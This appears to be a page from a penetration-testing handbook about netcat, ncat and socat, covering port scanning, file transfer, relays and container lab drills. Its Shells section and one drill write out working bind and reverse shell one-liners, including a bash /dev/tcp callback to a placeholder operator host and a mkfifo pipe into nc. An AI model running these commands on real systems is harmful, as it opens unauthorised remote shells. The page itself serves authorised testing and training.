Netcat#
The operator’s Swiss-army knife for arbitrary TCP and UDP
sockets. Read and write any port from the shell, with no
client-side protocol. Banner-grab a service, dump a file across a
network, pipe a sensor’s output into another machine, set up a
disposable listener for a callback. The kernel provides the
sockets; nc is the thinnest tool that exposes them at the
command line.
Three flavours co-exist on most Linux hosts. Pick the one the mission requires and check which is on PATH before relying on a specific flag.
Implementation |
Binary |
Notes |
|---|---|---|
OpenBSD netcat |
|
Default on Debian, Ubuntu, Kali, most modern distros.
Clean flag set; no |
GNU netcat |
|
Original BSD heritage; supports |
Ncat (Nmap project) |
|
Most capable. SSL/TLS, IPv6, proxy chaining, ACLs, named
SOCKS. The default when |
socat |
|
Not netcat, but the same job class with bidirectional
transforms (TLS termination, UNIX-socket bridging, pty
allocation). Reach for |
Warning
Authorization required. nc listeners and bind / reverse
shell patterns documented below are offensive primitives. Use
only against systems the operator owns, against systems with
written authorization to test, or in an isolated lab the
operator built for practice (see Lab Exercises below). See
Disclaimers for the full text.
Install#
$ sudo apt install netcat-openbsd # Debian / Ubuntu / Kali (default)
$ sudo apt install netcat-traditional # GNU netcat (for -e)
$ sudo apt install ncat # Ncat (Nmap)
$ sudo apt install socat # socat
$ sudo dnf install nmap-ncat socat # Fedora / RHEL
$ sudo pacman -S openbsd-netcat gnu-netcat nmap socat # Arch
$ sudo apk add netcat-openbsd ncat socat # Alpine
$ update-alternatives --display nc # which one is /usr/bin/nc?
Identifying#
The same command name (nc) may launch any of three binaries
with different flag sets. Confirm before scripting.
$ readlink -f $(which nc)
$ nc -h 2>&1 | head -1
$ ncat --version
Modes#
Five operator-shaped modes. Most days the operator only needs the first three.
Mode |
What it does |
|---|---|
Connect |
Open a TCP or UDP socket to a remote |
Listen |
Bind a local port and accept one (or, with Ncat, many) inbound connections; pass the byte stream to stdout. |
Port scan |
Probe a port range, report which TCP ports answer (or
which UDP ports refuse). Cheap and noisy; use |
File transfer |
Pipe a file across a listener-connector pair. Useful when
the operator has shell on both ends but no |
Relay / chain |
Bridge two sockets so traffic flows through the operator’s
host. The pattern behind quick redirectors, with |
Connect#
Banner-grab and protocol probing.
$ nc -v target 22 # SSH banner
$ nc -v target 80 # talk HTTP by hand
$ nc -uv target 53 # UDP probe (DNS port)
$ printf 'GET / HTTP/1.0\r\n\r\n' | nc -q1 target 80
Notes. -v is verbose to stderr. -u is UDP. -q1 (OpenBSD)
or --idle-timeout 1s (Ncat) exits after the remote stops
talking.
Listen#
Disposable receivers and callback handlers.
$ nc -lvnp 4444 # OpenBSD: -l listen, -v verbose, -n no DNS, -p port
$ ncat -lvnp 4444 --keep-open # Ncat: keep listening across multiple clients
$ ncat -lvnp 4444 --ssl --ssl-cert cert.pem --ssl-key key.pem
Notes. The OpenBSD nc exits after the first client closes;
ncat --keep-open does not. --ssl wraps the socket in TLS.
Port scan#
$ nc -zv target 20-25 # TCP scan, ports 20-25
$ nc -zvu target 53 123 161 # UDP scan, three ports
$ nc -zv -w 2 target 22 # 2-second timeout per port
For anything beyond a sanity check, use 0X42 - Networks
and nmap. nc reports only open / closed; nmap reports
filtered, ttl, service version, OS guess.
File transfer#
Pair a listener (receiver) with a connector (sender).
# receiver
$ nc -lvnp 4444 > received.bin
# sender
$ nc -q1 receiver-host 4444 < file.bin
# progress + integrity in one shot
$ pv file.bin | nc -q1 receiver-host 4444
$ sha256sum file.bin received.bin # verify after
For multiple files or a directory tree, pipe a tar stream.
# receiver
$ nc -lvnp 4444 | tar xvz
# sender
$ tar czf - dir/ | nc -q1 receiver-host 4444
Relay / chain#
A simple TCP redirector with Ncat.
$ ncat -l 8080 --sh-exec "ncat backend.internal 80"
Same pattern with socat (preferred for bidirectional, long-running relays).
$ socat TCP-LISTEN:8080,fork TCP:backend.internal:80
$ socat OPENSSL-LISTEN:8443,fork,cert=cert.pem,key=key.pem TCP:backend.internal:80
$ socat UNIX-LISTEN:/tmp/proxy.sock,fork TCP:backend.internal:80
Shells#
The classic nc reverse-shell and bind-shell patterns. Only run
on authorised targets.
Bind shell (target listens, operator connects). Requires GNU
netcat or Ncat (OpenBSD nc removed -e).
# on target
$ nc.traditional -lvnp 4444 -e /bin/bash
$ ncat -lvnp 4444 -e /bin/bash
# on operator
$ nc -v target 4444
Reverse shell (operator listens, target connects out). Friendlier through outbound-only firewalls.
# on operator
$ nc -lvnp 4444
# on target (one of these depending on what's installed)
$ nc.traditional -e /bin/bash op-host 4444
$ ncat -e /bin/bash op-host 4444
$ /bin/bash -i >& /dev/tcp/op-host/4444 0>&1 # bash built-in, no nc needed
$ mkfifo /tmp/p; cat /tmp/p | /bin/bash -i 2>&1 | nc op-host 4444 > /tmp/p
The bash /dev/tcp/ pattern is the operator’s fallback when
nc and ncat are both absent. mkfifo plus OpenBSD nc
is the no--e equivalent that survives modern distro defaults.
Upgrade a raw shell to a fully interactive PTY immediately after
landing. Bare nc shells lose Ctrl+C, tab-completion, and
arrow keys.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export TERM=xterm-256color
$ stty raw -echo; fg # in the operator's shell
Constraints#
No ``-e`` in OpenBSD ``nc``. Modern distros ship the OpenBSD build by default.
ncator themkfifoworkaround replaces it; expect this on hardened hosts.No encryption in vanilla ``nc``. Anyone on the wire reads the byte stream. Use
ncat --sslorsocat OPENSSL-LISTENfor confidentiality.No persistence. A
nclistener dies when the operator’s shell does.systemd-socketorsocatunder a unit file for anything beyond a one-shot.Detection signal. Egress to
op-host:4444from a workstation is a red flag in any NDR worth the name. Mismatch with the host’s normal traffic == alert.
Files#
Per-distro paths and what each binary is.
Path |
Purpose |
|---|---|
|
Symlink, target depends on distro
( |
|
OpenBSD netcat binary on Debian-family. |
|
GNU netcat (with |
|
Ncat (Nmap). |
|
socat. |
Variables#
Few. nc reads no environment of its own; the variables that
matter belong to the shell and the network.
Variable |
Purpose |
|---|---|
|
Affects banner display when reading textual protocols (HTTP, SMTP). |
|
Ignored by |
Common Tasks#
Check whether a single TCP port is open.
$ nc -zv -w 2 target 443 && echo open || echo closed
Open a UDP listener for ad-hoc capture (syslog, ad-hoc logging).
$ nc -ulvnp 5140
Banner-grab over TLS.
$ ncat --ssl -v target 443
Move a file across with progress bar and checksum.
# receiver
$ nc -lvnp 4444 | pv -bra > received.bin
# sender
$ pv file.bin | nc -q1 receiver 4444
$ sha256sum file.bin received.bin
Run a TCP redirector for the engagement.
$ socat TCP-LISTEN:8080,fork,reuseaddr TCP:internal-svc:80
Pipe a remote command into a local pipeline.
$ ncat target 4444 < /dev/null | tee /tmp/dump | grep -i password
Quickly bridge stdin / stdout to a TCP service for scripting.
$ { echo "EHLO localhost"; sleep 1; echo "QUIT"; } | nc -q1 target 25
Lab Exercises#
Self-contained drills the operator can run on a laptop using
localhost or two short-lived containers. Each is a stepwise
exercise; finish one before starting the next.
Drill 2 - chat over a TCP socket between two terminals#
Two terminals on the same host. Terminal A is the listener; terminal B is the connector.
# terminal A
$ nc -lvnp 4444
# terminal B
$ nc -v 127.0.0.1 4444
$ hello?
$ (type and press Enter; A echoes the line)
Outcome. The operator sees how the listener-connector pair proxies stdin / stdout across the kernel. Same pattern that underpins reverse shells, file transfer, and relays.
Drill 3 - file transfer with integrity check#
Move a binary across the same listener-connector pair; verify checksums match.
$ dd if=/dev/urandom of=/tmp/payload bs=1M count=8 # 8 MB random file
# terminal A (receiver)
$ nc -lvnp 4444 > /tmp/received
# terminal B (sender)
$ pv /tmp/payload | nc -q1 127.0.0.1 4444
$ sha256sum /tmp/payload /tmp/received
Outcome. Hashes match. The operator now has a transport that
works when scp, rsync, and curl are not installed.
Drill 4 - reverse shell in a container pair#
Two disposable containers on a shared network simulate operator + target. Run this on the operator’s laptop only.
$ docker network create lab
$ docker run --rm -d --name op --network lab alpine sh -c "apk add --no-cache ncat && sleep 3600"
$ docker run --rm -d --name tgt --network lab alpine sh -c "apk add --no-cache ncat bash && sleep 3600"
# operator side: listen for the callback
$ docker exec -it op ncat -lvnp 4444
# target side: dial back to operator
$ docker exec -it tgt ncat -e /bin/sh op 4444
$ # cleanup
$ docker rm -f op tgt
$ docker network rm lab
Outcome. The operator gets an interactive shell on tgt
through the listener on op. Practise the PTY-upgrade lines
from the Shells section on the resulting shell.
Drill 5 - TLS-wrapped listener with Ncat#
Wrap the listener in TLS. Useful for blue-team OPSEC training (see what a TLS-tunneled C2 callback looks like on the wire).
# generate a self-signed cert
$ openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/key.pem -out /tmp/cert.pem \
-days 1 -subj "/CN=lab"
# listener
$ ncat -lvnp 4444 --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
# client (different terminal)
$ ncat --ssl 127.0.0.1 4444
# observe on the wire
$ sudo tcpdump -i lo -A 'port 4444' # encrypted; payload unreadable
Outcome. The operator sees that plaintext nc traffic shows
up clearly in tcpdump, while the --ssl variant does not.
Use the same drill to test detection rules in a SIEM lab.
Drill 6 - relay through the operator’s host#
Chain three containers: a client, a relay (operator’s box), and a backend. The relay forwards the client’s connection to the backend so the client never speaks to the backend directly.
$ docker network create lab
$ docker run --rm -d --name back --network lab nginx
$ docker run --rm -d --name relay --network lab alpine sh -c "apk add --no-cache socat && \
socat TCP-LISTEN:8080,fork,reuseaddr TCP:back:80"
$ docker run --rm -it --name client --network lab alpine sh -c "apk add --no-cache curl && \
curl -v http://relay:8080/"
$ docker rm -f back relay; docker network rm lab
Outcome. Nginx’s default page comes back through relay
even though client never named back. Same pattern as a
production redirector or a debugging proxy.
References#
man 1 nc,man 1 ncat,man 1 socat.TCP/IP for the underlying TCP / UDP protocols.
0X42 - Networks for scanning at scale with
nmap.Operations for offensive context and authorisation framing.
Ports for well-known port numbers.